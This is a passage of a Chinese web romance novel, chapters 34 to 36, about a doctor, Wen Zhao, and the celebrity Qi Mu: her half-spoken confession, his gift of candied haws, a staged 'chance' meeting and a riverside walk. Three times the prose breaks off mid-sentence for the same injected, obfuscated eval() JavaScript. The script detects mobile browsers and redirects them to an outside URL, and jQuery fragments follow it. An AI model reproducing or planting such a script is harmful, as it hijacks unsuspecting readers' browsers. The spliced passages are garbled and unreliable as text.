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后面的话没说完,但温昭也能猜到。“没爸没妈”四个字像根细针,轻轻扎在她心上。 “直到前天,他那个儿子也去了节目录制现场,当选手。”祁慕闭了闭眼,再睁开时,眼底只剩一片疲惫,“他讲得烂透了,我打了低分,他就觉得我是故意针对他,私下找过来的时候,嘴里不干不净地编排我妈。我没忍住,动手打了人。然后……就是你刚才看到的样子。” 温昭静静地听着,但心里却很难受,掌心开始冒汗,眼眶也跟着发酸。 她爸爸虽然从小离开了她,但妈妈给了她双倍的爱,让她在温暖里长大。 从前总觉得,祁慕的冷傲、毒舌,是站在聚光灯下被捧着惯出来的性子。 可直到这一刻,她才忽然明白,那层坚硬的外壳底下,藏着的是在一片荒无人烟的孤独里独自熬过来的年月。那些看似扎人的尖锐,不过是他裹在身上、用来抵御风雨的盔甲。 他哪里是天生带刺? 他分明是怕疼。 而现在,她好想把他身上那些沉重的、低落的心情统统赶跑,她想告诉他,他不是一个人。 如果没人喜欢他,她来喜欢。 如果没人爱他,她来爱。 “祁慕。” 她轻轻唤他,声音有些抖,却异常坚定。她望着他眼底那片挥之不去的失落,一字一句道。 “你没做错。” “你把自己从泥泞里拽了出来,还把自己变得这么好,已经很了不起了。” 她声音慢慢软下来,带着小心翼翼的温柔。 “而且,你现在也不再是一个人了。” 祁慕睫毛颤了颤,缓缓抬眼看她。他眼眶还泛着红,眸底水光未散,像是被雨水打湿的墨,晕开一片湿漉漉的黑,看得人心里发软。 “你有那么多粉丝喜欢你,支持你,还有外婆,她也那么爱你,”温昭顿了顿,心跳忽然漏了一拍,她迎着他的目光,“还有,我。” 时间仿佛静止了一瞬。 “我也喜欢……” “……你” 34. 第34章 那个“你”字温昭几乎没发出声,可偏偏,祁慕听得一清二楚。 他愣了半秒。 …她是在安慰他? 还是在… 跟他表白? 所以,她是喜欢自己的? 这认知让他心里一阵欢喜,可下一秒又泛起惆怅。 明明原计划里,该是他好好准备一番,再郑重其事地跟她表白,怎么反倒被她抢了先? 他喉结滚了滚,张了张嘴,却又不知道该说什么,最后只能沉默地抿住唇。 温昭瞧着他这副手足无措的模样,睫毛也跟着轻轻颤了颤,后知后觉地慌了。 ……完了。 安慰过头了。 怎么把心里话给说出来了…… 他本来情绪还不稳,该不会给他吓住了吧? 她越想越懊恼,血液直冲耳尖,恨不得当场挖个洞钻进去。 他…应该没听清吧? 她说得挺小声的… 可是万一… 听到了怎么办? 她连他是不是喜欢自己都不知道,怎么就… 怎么就表白了?! 万一… 他没那个意思…… 那岂不是—— 尴尬死了?! 她心里头七上八下的,抿了抿嘴,连忙垂下眼,把到了嘴边的话硬生生憋了回去,慌忙解释:“我是说,我们都很喜欢你……”声音越说越小,最后几个字几乎含在嘴里。 这解释,连她自己都觉得圆得太生硬。 她尴尬地扯了扯嘴角。 祁慕看着她,手指微微蜷缩,想要解释一下:“其实我……” “那个!”温昭猛地打断他,生怕再听下去,就是拒绝的话,或是撇清关系的解释,“我还有事,你记得再敷十分钟,然后把这个拿掉。” 她腾地站起身,眼神飘忽地落在地板上,不敢看他:“……我先走了。” 话音刚落,人已经小跑着往门口去了。 刚到门口,祁慕就叫住了她。 “温昭。” 清冽的嗓音让她脚步一顿。 她慢吞吞转身,声音里带着点不易察觉的慌张:“啊?” 祁慕朝着她走过来,步子不快:“这次,该轮到我说谢谢了。” 说完,他手里举起一串糖葫芦递了过来。 温昭眼睫颤了颤,愣了一瞬。 这是…… 糖葫芦? 她呆呆望着眼前的人,视线从他骨节分明的手指,慢慢移到他那张还带着点破碎感的脸上。 温昭:“你……” “从京海买来的,”祁慕顿了顿,“你之前不是说你喜欢吃,应该还没化……”他把糖葫芦又往前递了递。 糖葫芦的包装纸上,“京海天瑞门”棕底红字,格外醒目。温昭又想起小时候爸爸把她背在肩头,也是这样举着一串糖葫芦,笑着往她嘴里塞的样子。 可她明明只在他面前随口提过一嘴啊。 他竟然记住了? 祁慕见她傻站着不动,又轻轻晃了晃手里的糖葫芦,包装纸发出细微的声响。 温昭才回过神,伸手缓缓接过,嘴巴颤了颤:“……谢谢。” 握着那串糖葫芦的手微微收紧,眼眶忽然就有点发酸,鼻尖也跟着一痒。 窗外的雨还没停,淅淅沥沥敲在玻璃上,滴滴答答。 …… 温昭曲着身,靠在门背上,带着梅雨季节潮湿的凉意。 她垂着头,盯着手里那串糖葫芦,指尖慢慢剥开外面的包装。 是山楂味的,糯米纸裹着红彤彤的糖壳,上面还撒着白色的芝麻。 她试探着咬下一口。 脆生生的糖衣在齿间裂开,山楂的酸混着糖的甜,慢悠悠地在味蕾漫开。 她买过几次星海的糖葫芦,不是太酸,就是太甜,总差着点意思。 可手里这个不一样。 酸得恰到好处,甜得也正合心意,这个味道,和记忆最深处的味道几乎分毫不差。 祁慕的样子又慢慢在脑海里浮现出来,泛红的眼尾,脸上残留的泪痕,还有低沉却温柔的声音。 他好像总是这样,会记得她喜欢的这些事情。 在飞机上偶然瞥见她耳机里放着梁咏思的歌,转头就带她去后台单独见人,还会带她去看演唱会;会带她去看很难得的烟花秀;她只是随口提过她喜欢吃京海的糖葫芦,他却记住了…… 这么想来,林晚的话好像也不是没道理。 他喜欢的那个人……说不定真的是自己? 如果之前这个可能性在她心里是20%,那么现在就像是就跟雨后冒头的新笋,慢慢攀升到了70%。 如果真的是这样。 她是不是应该做点什么,再主动一点。 不管现在祁慕心里对她的喜欢有多少。 她都想: 让他完完全全、彻彻底底地,喜欢上她。 越多越好。 愣神的工夫,脚边忽然蹭过来一团软乎乎的东西,带着点痒意。低头一看,芝麻正用脑袋拱她的鞋跟,尾巴绕着她的脚踝轻轻扫。 她这才后知后觉想起这茬,摸出手机,指尖在屏幕上敲了敲:【你的猫在我这儿。】 过了一会儿,消息铃声响起。 7:【今天我还有点事儿,让它在你那儿再待一天,明天我来领走。】 另一个的窗台前,祁慕站在窗边,手机上显示着温昭给她回复的消息:【好。】 他嘴角轻扬,摁灭了屏幕,手慢慢垂下来,掌心里的冰袋早就没了凉意,温温的贴着皮肤。 他指腹无意识地摩挲着袋面,耳边却不断回响着那句轻软的—— “我也喜欢你。” 唇角不受控制地扬起,慢慢漾开点笑意。 …… 他就这样不知站了多久。 雨渐渐停了,天边悄然浮现一道彩虹,淡淡的,在云隙里洇开半道弧线,很温柔。他望着那抹淡彩,低声嗤笑了下:“这一巴掌,倒也算没白挨。” 不管是借着安慰说的,还是真心实意,都好。 至少现在,他心里终于有了个底。 她是喜欢他的。 - 隔天周六,难得的休息日。 温昭还迷迷糊糊陷在梦里,就感觉被子上一阵窸窸窣窣的动静,随即脸颊边多了点毛茸茸的触感。 芝麻不知什么时候跳上了床,这会儿正蹲在她枕头边,小爪子一下一下轻轻扒拉着她的睡衣袖子。 温昭皱了皱眉,半眯开一只眼。窗帘没拉满,漏进来的微光里,芝麻那双圆溜溜的大眼睛瞅着她。 “别闹。”她含混地嘟囔一声,抬手胡乱摸了摸它,翻了个身想继续睡。可没安生两秒,后腰就被小爪子不轻不重地拍了一下。 温昭倏地睁开眼,头唰地转过去。 芝麻歪着头,墨绿色的两只眼睛,明晃晃地透着股委屈,一只爪子还搭在被角上,“喵”了一声。 这一下,她脑子里那层黏糊糊的睡意散了大半。 完了,把家里这位小祖宗给忘了。 以前她都会在上班前添好猫粮,昨天晚上为了睡个懒觉特意把闹钟关了,这下倒好…… 温昭伸手摸过床头柜上的手机,按亮屏幕的瞬间,强光刺得她下意识眯了眯眼,等适应了一会儿才缓缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286437|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睁眼。 上面显示着“十一点十五分”。 她对着芝麻干笑两声。 芝麻站在她面前,一双眼睛直勾勾地盯着她,那眼神,带着审判和怨气。 完了,这小祖宗怕是饿坏了。 温昭赶紧伸手揉了揉它的脑袋,软着声音哄:“抱歉抱歉,把你给忘了。等着啊,我这就起。” 她掀开被子起身,把芝麻往怀里一揣。刚到客厅,怀里的小家伙就按捺不住了,挣扎着跳下去,小腿哒哒哒地跑到碗边,围着空碗转了两圈,回头看她。 那意思再明显不过。 温昭被它这模样逗笑了,蹲下身往盆里倒上猫粮。 还没等她收回手,芝麻就整个脑袋埋进碗里,小嘴巴吧唧吧唧响,吃得那叫一个香。 是真饿坏了。 她笑着又摸了把它,站起身回房间。 看到床的刹那,脑子里那点回笼觉的念头早就跑得没影了。她拖着拖鞋,慢悠悠地走到洗手台边。 挤好牙膏,薄荷味的泡沫在舌尖泛开,辣辣的。温昭斜靠在门框上,目光落在客厅里。 芝麻还在埋头吃着猫粮,小尾巴还时不时摇晃。她嘴角一弯,看着看着,脑子里就晃出它爸的脸来,笑容慢慢垂落。 昨天的祁慕,是她从未见过的模样。 甚至可以用“脆弱”来形容。 跟他上次生病不一样。生病时他是蔫,还带着点娇气、傲气;昨天那股劲儿,反倒像是被全世界丢下了,从骨头缝里透出来的空落,看得她心里一直发紧。 现在想来,眉头还会不自觉皱起。 也不知道他今天怎么样,心情有没有好点。 匆匆洗漱完,她拿起手机,指尖在屏幕上悬了悬,敲了句:【你什么时候有空?】 手指在发送键上方停了两秒,又删掉重打:【你在家吗?】 消息刚发出去,屏幕上就跳出了一条新消息。 7:【不在。】 紧接着又弹出一条新信息。 不过是条语音。 温昭指尖顿了顿,点开。 听筒里飘出祁慕的声音,清冽的薄荷音裹着点电流的沙沙声,添了点低哑:“怎么了?” 她不自觉咬了咬下唇。 那她……要不要也发语音? 她拇指在语音键上方徘徊。犹豫再三,还是轻轻按住,声音自己就软了下来:“没事,就是想问问,你要是在家的话,我把芝麻送过去。” 松开手指的瞬间,心跳莫名快了半拍。 两秒后,祁慕的回复就来了,还是语音:“我现在在公司,一点左右回来。” 他的口吻听着很平和,温昭心里悄悄松了口气,翻出个猫咪表情包。跟芝麻一个品种,琉璃般的圆眼睛,底下配着个“好”字。 顿了顿,点了发送。 …… 下午,阳光穿透云层照进了屋内,暖融融的一片。温昭抱着抱枕坐在沙发上,手机屏幕两着,上面显示着“一点三十五”。 祁慕的公司在城东,离这小区说远不远说近不近,高德地图上面显示开车20分钟。 按理说,该到了。 她指尖在抱枕的丝绒面上划着圈,那点细密的纹路蹭过指尖,带起一阵说不清的期待。 忽然,楼道里飘来很轻的一声“叮——”。 是电梯到达的提示音。 紧接着就是“哐当”一声,电梯那厚重的门缓缓拉开。 温昭指尖猛地一顿,后背立马挺起离开了沙发靠背,整个人瞬间坐直了。 门外渐渐传来细碎的脚步声,不疾不徐,她唇角没忍住,悄悄往上扬了扬。 来了。 35. 第35章 温昭快速站起身,小跑到门口,手刚搭上门把,指尖却顿住了。她深吸了一口气,才缓缓转动门把锁。 门开的瞬间,祁慕也刚好走到他家门口。 他穿件黑白扎染衬衫,里头搭着件简单的白T,袖口随意卷到手腕处。脸上还罩着白口罩,额前碎发乱糟糟支棱着,那双漆黑的眼眸半睁着,眼下泛着淡淡的青紫色,整个人透着一股倦懒的颓劲儿。 一看就知道没休息好。 温昭刚才还在心里打草稿,想着等他来了就提吃饭的事,可此刻瞅见他眼底那藏不住的疲惫,话到了嘴边又悄悄咽了回去。 ……算了,等他精神好点再说吧。 “喵~” 脚边传来软乎乎的叫声,许是闻着了亲爹的气息,芝麻站在门边,毛茸茸的尾巴轻摇着,仰着小脑袋看着祁慕。 祁慕见状弯下腰,衣摆随着弯腰的动作掀起一边,露出一小片背骨。他双手一揽,轻轻松松的就把芝麻捞进怀里,低下头,指尖轻挠着它的下巴:“想我没?” 她就这么看着祁慕轻轻顺毛,芝麻在他怀里眯着眼打哈欠,小模样惬意得很。她不由得浅笑,视线又不由自主飘向他。高挺的鼻梁把口罩顶出好看的弧度,他的睫毛很长,一下下扑闪着。 此刻他身上有股淡淡的温柔劲儿,像是暴风雨过后,云散天青的模样。 她看得有些出神,直到祁慕抬眼看过来,才慌忙移开视线,轻咳一声:“我去拿剩下的东西。” 祁慕抬眸看过来:“我帮你。” “好。”温昭点点头,转身去拿东西,心跳却还没完全平复。 两人一前一后地将东西搬进他家里。 祁慕蹲在一旁铺猫砂,芝麻许是困了,蜷在旁边的垫子上打盹。 房间里一时只剩下猫砂沙沙的声响。 温昭站在他身侧,犹豫几秒,还是轻声开口:“那……我先走了。” 而回应她的只有街道上汽车驶过的沙沙声。 祁慕依旧低着头,修长的手指拨弄着猫砂,仿佛根本没听见她的话。 温昭喉咙发紧,又试探性地补了一句:“再见。” ——依旧是沉默。 温热的呼吸忽然变得有些凉。她盯着他低垂的睫毛,心里头顿时冒出些乱糟糟的念头—— 是她刚才声音太小,他没听清? 可是她的声音可比昨天那句“我也喜欢你”大声多了。 又或是,因为昨天发生的事情心里还是郁闷,提不起劲搭理人? 可明明昨天还…… 算了,他大概是需要点时间整理心情,自己还是别在这儿添乱了。 她这样安慰自己,可心里那点失落还是像冬日潮水,一点点漫过心口。 她无声地叹了口气,转过身。明明客厅内暖黄的阳光带着温热弥漫在整个房间,可转身时,背上还是像沾了点凉意,淡淡的,却钻心。 刚迈出一步,手腕就被一股力道攥住。 温昭一顿。 那力道不重,却稳稳地拉住了她,没给她再往前挪半分的机会。腕上传来的温度温温热热的,像淌进屋里的阳光,不灼人,却让她瞬间僵住,连呼吸都忘了。 她睫毛轻颤,下意识垂下眼,目光落在自己被攥住的手腕上。 祁慕的手指很长,骨节分明,无名指处带着点薄茧,指节泛着微红,手背上青绿色的血管在白皙的皮肤上微微浮着,格外显眼。 她缓缓转身,视线顺着那只手慢慢往上看,视线滑过他微皱的外套,掠过利落的下颌,最后撞进那双深邃的眼眸里。 他眼神很沉,像平静的黑潭,看不清什么情绪,却带着种莫名的张力,让她躲不开,也移不开。 他掌心慢慢发烫,温度源源不断地传入她微凉的手腕上,像是无数细小的电流窜过,顺着大动脉直入温昭心底。 温昭的心跳彻底乱了节奏。 她不自觉地攥紧另一只手,指甲陷入掌心,才勉强维持住表面的镇定。 ——他怎么不说话? 她定了定神,率先开了口:“还有,什么事儿吗?” 祁慕抬起另一只手,摘下了口罩,右脸上还留着巴掌印,依旧很明显。他眼皮掀了掀,慢悠悠地开口:“你是不是忘了什么?” 忘了什么? 温昭愣了愣,视线在猫窝边上转了圈。 猫砂,猫粮,猫碗……一样不落,都在。 她一脸茫然地看着他:“什、么?” 祁慕微微皱眉,左眼微眯:“某人不是说,等我回来邀请我吃饭?” 温昭怔了一秒。 她本来还想着,等他心情好些了再说,没想到倒是他先提了。 “昂,”她点点头,耳尖发烫,“那你…什么时候有空?” 祁慕歪了歪头,像是在认真琢磨她的问题,几秒后,视线又再次落回到她脸上:“现在还不确定。” 温昭点了点头,“哦”了一声,又补了句:“那你有空了跟我讲。” “行,”祁慕又慢悠悠地补充了一句,“地方还是我订。” “……好。”她顿了几秒,又说,“那你别忘了。” 祁慕低低地笑了一声,气音带着点颤,怪挠人的。 温昭奇怪地抬头看他,笑什么? 他却忽然往前凑了半步,两人距离瞬间拉近。他微微低下头,眯起眼,语气撩拨:“怎么,怕我忘?” “……嗯。”温昭被他问得睫毛簌簌颤,声音虽轻,却没含糊。 她本来就打算追他,这点心思藏着掖着也没意思,犹豫归犹豫,回答却坦诚得很。 只不过…… 她是真没什么追人的经验。 林晚前阵子给她支了许多招,却没一个能往自己身上套的。什么三十六计,第一计叫先发制人。温昭还以为是什么高明招数,结果就是壁咚然后直接了断地告诉对方,说喜欢他。这招大概只适合林晚那种天不怕地不怕的,换了她…… 实在做不到。 祁慕听完,不置可否地点点头:“那你记得每天都提醒我一下,这样……我应该就不会忘了。” 每天?! 那要是他一直没空,岂不是要天天提醒? 这是把她当备忘录了? 可是怎么提醒呢? 当面说? 还是……发信息? 她抬眼望进他黑沉的眼眸,没说出拒绝的话,只是声音轻了些:“……好。” - 晚上,温昭坐在沙发上刷着手机,搜索栏里显示着: “如何追到自己喜欢的男生” 虽说温昭在学习方面是实打实的学霸,可在感情方面却像个懵懂的小学生。页面上跳出来一堆女追男必杀技,什么“欲擒故纵的三大要点”“追男生的十大雷区”,温昭盯着那一大串密密麻麻的字,眉头紧皱,愣是没琢磨出个所以然来。 她点开百度,想搜点更实在的招儿,对着键盘琢磨了半天,随后敲下几个字:“男生喜欢……” 就在这时,隔壁突然传来“咔哒”一声关门响。 温昭正在打字的手猛地顿住,接着就听到门外传来细微的脚步声,很沉稳。 她嘴角微扬。虽说林晚出的主意都不太适合她,但若说一点用没有,倒也不见得。 比如说第三计—— 制造偶遇。 先前知道自己跟祁慕成了邻居,她一门心思躲着见面,反倒暗地里摸清了他的习惯: 他要是在家,基本每天晚上七点左右会出门倒垃圾。 没想到如今,却成为了追他的一个计谋。 就像今天。 她抬眼瞟了眼手机时间,六点五十八分。 温昭连拖鞋都没拖,光着脚跑到玄关穿好鞋,抓过钥匙,手刚碰到门把,眼角余光瞥见桌上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286438|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的口罩盒。她顿了顿,犹豫两秒,还是从里面抽了两个塞进外套口袋里。 刚拉开门,就见对面电梯门正缓缓合上。她心一紧,小跑过去,在最后一秒按下了按钮。 电梯门重新缓缓打开。 她站在门口,眼神直直望过去,那个在心里期待的身影,渐渐清晰地出现在眼前。 祁慕眼眸微抬,看清是她时,眼里闪过一丝惊讶,却不算浓。毕竟住同一层,碰见本就正常。只是,以前这个点,她除非上晚班,平常几乎从不出门。 今天倒是稀奇。 祁慕视线在她身上不着痕迹地打了个转。 温昭穿了件浅蓝外套,头发披在身上,没化妆,看着……像是临时出门。 她这是要去哪儿? 而温昭假装只是碰巧,尽量自然地走进电梯,往他左手边一站,肩膀离着半拳距离。 她有意无意往他身上瞟,盯着他攥着垃圾袋的手指琢磨了半天,才从牙缝里挤出两个字:“……好巧。” “巧?”祁慕转头看她,又补了句,“我还以为你是故意的。” 他调侃得说着,但只有他自己知道,只是为了掩饰内心的不安罢了。 毕竟上次倒垃圾时,她正和那个姓许的青梅竹马在楼下聊天。虽说后来温昭解释了,也明明白白说了拒绝,可那股子酸意,还是在心里徘徊了好几天。 这会儿见她出来,难免多想。 可温昭却被这句看似无意的话,心猛地一跳—— 故意? 虽说她的动机确实不单纯,但是很明显吗? 她慌慌张张地瞥了一眼旁边的人,又立马挪开视线。 他……看出来了?不能吧!? “故意…什么?”她指尖下意识攥紧了钥匙串,眼神飘忽地落在电梯壁上,生怕那点小心思真的被他看穿。 “提醒我。” 祁慕漫不经心地吐出三个字,目光却在她泛红的耳尖上多停留了半秒。 温昭顿时松了口气。她定了定神,故意扯出点冷淡的调子:“你记性应该没这么差。”毕竟上次许汀州那点事儿,他记了好几天,连带着看她的眼神都冷得要命。 ——空气静了几秒。 “哦——”他拖长了语调,语气平淡,“那看来是我误会了。” 电梯“叮”地一声到了一楼,两人往外走去。 晚风带着点凉意扑在脸上,像浸了冰的丝绸,很舒服。虽说下来是为了装偶遇,但这天气好像还蛮适合散步的,昨天下完雨后,今天空气里都飘着草木的清甜味。 “你去干嘛?”祁慕侧头看她,终于没忍住问。 “今天天气不错,我想着去散散步。”温昭说得坦坦荡荡,视线却落在前方飘着的树叶上,心虚得不敢看他。 这也是她找到唯一合理的理由了,总不能说“我专门掐着点等你出门”吧? 祁慕点点头,唇角微不可察地扬了扬,悬着的心悄悄落回原处: 还好,不是又去喝酒,也不是见别人。 “嗯。”他低低应了声,嗓音里带着几分愉悦,“确实不错,挺凉快的。” 小区门口的垃圾桶就在不远处,祁慕迈步往那边走,温昭不远不近地跟在后面,手指无意识地捏着衣角打转转,把那块布料都快攥出褶子了。 该找个什么由头搭话呢?总不能一直沉默。 再不说点什么,等他倒完垃圾转身就走,今天这“偶遇”不就白搭了? 可,这个点能干嘛呢…… 正琢磨着,就听“咚”一声,祁慕扬手把垃圾袋稳稳投进了厨余垃圾那栏。他转过身往回走,视线不偏不倚,正好撞进她眼里。 他向她慢慢走近。 温昭站在原地没动,张了张嘴,心跳急剧加速着,后背渐渐发烫。 她深吸一口气,往前挪了小半步,说:“要不要,”顿了一秒,“一起去走走?” 36. 第36章 头顶的路灯“滋啦”闪了一下,祁慕的脸也跟着亮了亮,原本就轮廓分明的五官在光影里更显深邃。 他有些惊诧:她这算不算…在约我? 祁慕心里头那点刚压下去的欣喜又冒了上来,像刚被打开的雪碧,气泡跟着“滋滋”冒了上来。 温昭静静地等待着他的回应,睫毛一下一下闪烁着,连呼吸都变得小心翼翼。 时间仿佛被放慢了倍速。 他会不会拒绝? 会不会不喜欢散步? 要是被拒绝了,那怎么办…… “好。” 一个字音轻轻落下,温昭的瞳孔倏地缩了缩,微微攥着的手也慢慢松开。 她呆呆地眨了眨眼,脑子里只有那个“好”字。 他这算是…答应了? 祁慕看着她呆滞的模样,可爱得很,嘴角忍不住勾了勾,又补了句:“反正也没什么事。” 温昭彻底反应过来,眼角眉梢都忍不住上扬:“那走吧。” 刚转身转了半个弧度,手腕就被他轻轻抓住了。 “不过……” “不过什么?”温昭心头一紧,难道他反悔了? 祁慕往前凑了半步,微微低下头,两人距离一下子拉近了许多。 晚风吹起他额前的碎发,露出光洁的额头,近看眉眼愈发好看,浅浅的双眼皮,眼尾微微上挑,那双眼带着瑞凤眼独有的勾人劲儿,就那么定定地看着她。 祁慕:“你要不看看,我是不是少了点什么?” 少了点什么? 温昭认真地看着他,脑子却转不动了。 祁慕身上的气息一点点朝着她漫来,勾得她心跳都乱了,他前一秒抛出的问题,已经被抛在脑后。 祁慕见她半天没反应,只好直接点破:“温医生,我没戴口罩,可能要上去拿下。” 温昭这才回过神来。 ——她怎么把这茬忘了。 ——这张脸真的容易误事啊! “你在这儿等我,还是一起上去?”祁慕又问。 “不用,”温昭赶紧从口袋里摸出两个白色口罩递到他面前,“我带了。” “你出去散步还带口罩啊?”祁慕挑了挑眉,故意指了指那两个口罩,“还是两个?”怎么看都像是早有准备。 温昭有些慌乱,欲盖弥彰的解释着:“之前从医院里多拿了,忘、忘记…拿出来了。”但却越描越黑。 说完,她飞快地瞥了眼祁慕,他眼睛微眯着。 温昭心虚得没敢多看,只一秒就赶紧移开视线,顺手撩了下耳边不乱的头发,指尖都在发烫。 果然撒谎的时候不能对视,一对视对方指定能看透你。祁慕看着她泛红的耳根,低低笑了声,点了点头:“那还挺巧的。” 路灯下,祁慕的眼底闪过一丝了然。 从刚才倒垃圾时他就觉得不对劲,说是去散步,但却又跟着他,而且总感觉她有什么话要说。现在想来,原来是早有预谋。 可他偏偏不想戳破,只是心里偷偷窃喜。 原来她主动的时候是这样的,怪可爱的。连撒谎时飘忽的眼神,疙瘩的语气,都让他喜欢的要命。 他很吃这一套。 他拿过其中一个口罩,撕开外面的塑料袋戴上,声音透过口罩闷闷地传来:“走吧。” 温昭点点头,跟在祁慕身边,余光却不住地往他脸上瞟。 应该…没看出来吧? 而祁慕早就察觉了她偷看的目光,口罩下的嘴角肆意的上扬。夜风拂过,悄悄带走了一声微不可察的轻笑。 - 小区对面就是临江的小公园,顺着石阶往下走,就是一条沿江步道。今晚难得褪去了连日的闷热,江风带着水的潮湿感迎来,步道上三三两两都是散步的人,还有些跳广场舞的,很热闹。 步道旁还有一条铺着鹅卵石的小路,也是供行人走的。路灯温柔地洒在上面,圆润的石头泛着莹润的光泽。那边很热闹,老头老太太扶着腰慢慢走,小年轻挽着手龇牙咧嘴地笑,还有半大孩子光着脚丫疯跑,而家长在后面大声地劝阻。 祁慕的目光在那条小路上停留了片刻,转头看向温昭:“要不要试试?”他朝那边指了指。 温昭眨了眨眼,视线落在那条鹅卵石小路上。这种按摩步道她小时候倒是走过,记忆里是酥酥麻麻的触感,混着点说不清道不明的疼,具体什么感觉却已经模糊了。 她往祁慕那边偏了偏头,点了下:“行啊。” 两人在旁边的石凳上坐下,脱下鞋子拎在手里。温昭做了点心理准备,才小心翼翼地把脚放在冰凉的鹅卵石上。 刚踩下第一步,脚底瞬间窜上来两股截然不同的感觉。 一股是石头浸透了夜色的凉意,另一股则是实打实的疼,硌得她脚趾都蜷缩了起来,差点没站稳。 “还可以吗?”祁慕转头问她。 “还……行。”温昭嘴硬道,身体却诚实地轻轻摇晃着。 每走一步都像触电似的,脚掌本能地想逃离,可下一步依旧是刻骨的疼。她皱着眉,深吸一口气,硬着头皮继续往前走。 毕竟话都已经说了,总不能下一秒就明着打脸。 祁慕余光瞥见她强撑的表情,低头轻笑了一声:“不行的话,还是算了。” “没事,”温昭扯了扯嘴角,笑得有点勉强,边晃边跟他说,“这路多走有好处的,医学上…说能促进血液循环,还能…改善新陈代谢……”她一本正经地掰扯。 可心里却在苦笑—— 真疼啊,这好处她也只吃这一回就够了…… 祁慕的视线落在她蹙着眉却依旧认真的脸上,连带着脸颊都泛着点红,不知是疼的还是憋的,他忍不住勾了勾唇角。 他就爱瞧她这模样,明明疼得快站不稳,偏要端着那点认真劲儿跟他科普。 很可爱。 “嘶——” 温昭不小心踩到了一块特别尖的石头,疼得她倒吸一口凉气。刚到嘴边的话头“咔”地断了,嘴唇也抿成道紧绷的直线,连带着攥紧了手里的鞋。 祁慕低头笑了笑,没说话,只是抬起手。 下一秒,温昭腕间一暖。 那点温热透过皮肤渗进来,她还沉浸在脚底的刺痛里没回过神,两秒后才后知后觉地回神。 他的手,轻轻圈着她的腕心。 方才被疼痛占据的思绪瞬间被这突如其来的触碰搅乱,连带着呼吸都慢了半拍。 他的掌心贴着她的脉搏,那点温度不烫,却让人发慌。她甚至能清晰地感觉到自己的心跳,一下下,全撞在他的掌心里,藏都藏不住。 他会不会察觉到? 察觉到不是因为疼痛而乱了章法的心跳…… 温昭睫毛颤了颤,偷偷抬眼瞥了眼身侧的男人,又很快低下头,全身开始慢慢发烫。 是错觉吗? 为什么这样牵着,好像…没那么疼了。 …… 祁慕指尖微顿。 掌下的脉搏跳得又急又快。 是因为疼吗? 他嘴角的笑意淡了些,连带着握在她腕上的力道都松了松,怕攥得太紧。 可掌心下的心跳却跳得比刚刚更快了,比鼓点还乱的频率,倒跟他此刻胸腔里那阵失序的心跳,隐隐合了拍。 原来不止他一个人,在这微凉的夜里,心跳失了序。 他低下头看了眼左手手腕上的电子手表,上面显示着—— 136/min - 脚下的鹅软石路不知不觉走到了头,踩上平地的那一刻,温昭才后知后觉地松了口气,脚底板的疼像是退潮似的慢慢淡了,可腕上那点温热还牢牢锁着,没散。 温昭:“我们要不要坐会儿?” 祁慕:“好。” 温昭用余光瞥了眼自己的手腕,他的指尖还贴在她的脉搏上。她张了张嘴,她张了张嘴,话刚要冒头。 “走吧。”祁慕先开了口,垂眸着她,眼里盛着细碎的笑意,可手却丝毫没有要松开的意思。 温昭怔了怔,脸颊保留着那股热意,乖乖点头:“……好。” 直至坐到木椅上,祁慕才慢慢放开了那双手。 温热的触感抽离的瞬间,温昭心头莫名空了一下,指尖不自觉地蜷起,右手摸了摸左手的手腕处,那边还余留着温热,仿佛还能再次间接感受到他掌心的温度。 她俯下身穿鞋,眼角瞥见方才走来的鹅软石路,心里忽然冒出个稀奇念头: 怎么走完才发现,这条路…… 原来这么短。 她暗暗叹下气,直起身的刹那—— “哗——” 无数道水柱突然腾空而起,在夜空中划出银亮的弧线。地面镶嵌的彩灯将水幕染成绚烂的流光,四溅的水珠带着凉意扑面而来,在夏夜里格外清爽。 温昭不自觉地往前走了几步。这个公园每年夏季都会开放喷泉表演,但她向来不爱出门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286439|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这还是第一次亲眼见到。 ——好美…… 祁慕不动声色地跟在她身侧。 周围渐渐聚满了围观的人群,像上次看烟花时一样,他很自然地站在了她身后,用身体隔开拥挤的人潮。 他开口:“你也第一次看?” 温昭回头点了点头,又转回来:“嗯,以前很少出来,所以没机会看到过。” 他又问:“那为什么今天想着来散步?” 他的话音落入温昭耳中,她心跳漏了一拍,指尖无意识地揪住衣角。 他怎么突然问这个? 不会是……发现了什么吧? 她强作镇定地仰起脸,盯着空中不断变幻的水柱:“就…今天天气不错,待在家里怪闷的,所以出来走走……”话虽这么说,心脏却快速跳动着。 祁慕没再追问,只是轻轻“嗯”了一声。 